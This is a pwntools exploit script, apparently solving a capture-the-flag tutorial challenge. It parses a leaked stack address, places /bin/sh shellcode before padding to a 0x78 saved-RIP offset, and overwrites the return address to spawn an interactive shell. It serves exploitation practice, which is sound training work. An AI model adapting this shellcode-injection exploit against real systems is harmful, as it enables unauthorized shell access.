exploit.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template '--host=ctf.example.org' '--port=4102' 1-stack-02-ret2sc-tuto
import re

from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or "1-stack-02-ret2sc-tuto")
context.terminal = ["kitty"]

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
host = args.HOST or "ctf.example.org"
port = int(args.PORT or 4102)


def start_local(argv=[], *a, **kw):
    """Execute the target binary locally"""
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)


def start_remote(argv=[], *a, **kw):
    """Connect to the process on the remote host"""
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io


def start(argv=[], *a, **kw):
    """Start the exploit against the target."""
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)


# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = """
tbreak main
continue
""".format(
    **locals()
)

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================
# Arch:     amd64-64-little
# RELRO:      No RELRO
# Stack:      No canary found
# NX:         NX unknown - GNU_STACK missing
# PIE:        No PIE (0x400000)
# Stack:      Executable
# RWX:        Has RWX segments
# SHSTK:      Enabled
# IBT:        Enabled
# Stripped:   No

io = start()
shellcode = asm(shellcraft.sh())

io.recvuntil(b"stack)\n", drop=True)
raw = io.recvline()
print("RAW repr:", repr(raw))
m = re.search(rb"0x[0-9a-fA-F]+", raw)
leak_address = int(m.group(0), 16)
saved_rip_offset = 0x78

if len(shellcode) > saved_rip_offset:
    raise SystemExit("Erreur : shellcode trop long pour l'offset donné")

padding_len = saved_rip_offset - len(shellcode)
padding = b"A" * padding_len

return_addr = leak_address

payload = shellcode + padding + p64(return_addr, endianness="little")
io.sendline(payload)

io.interactive()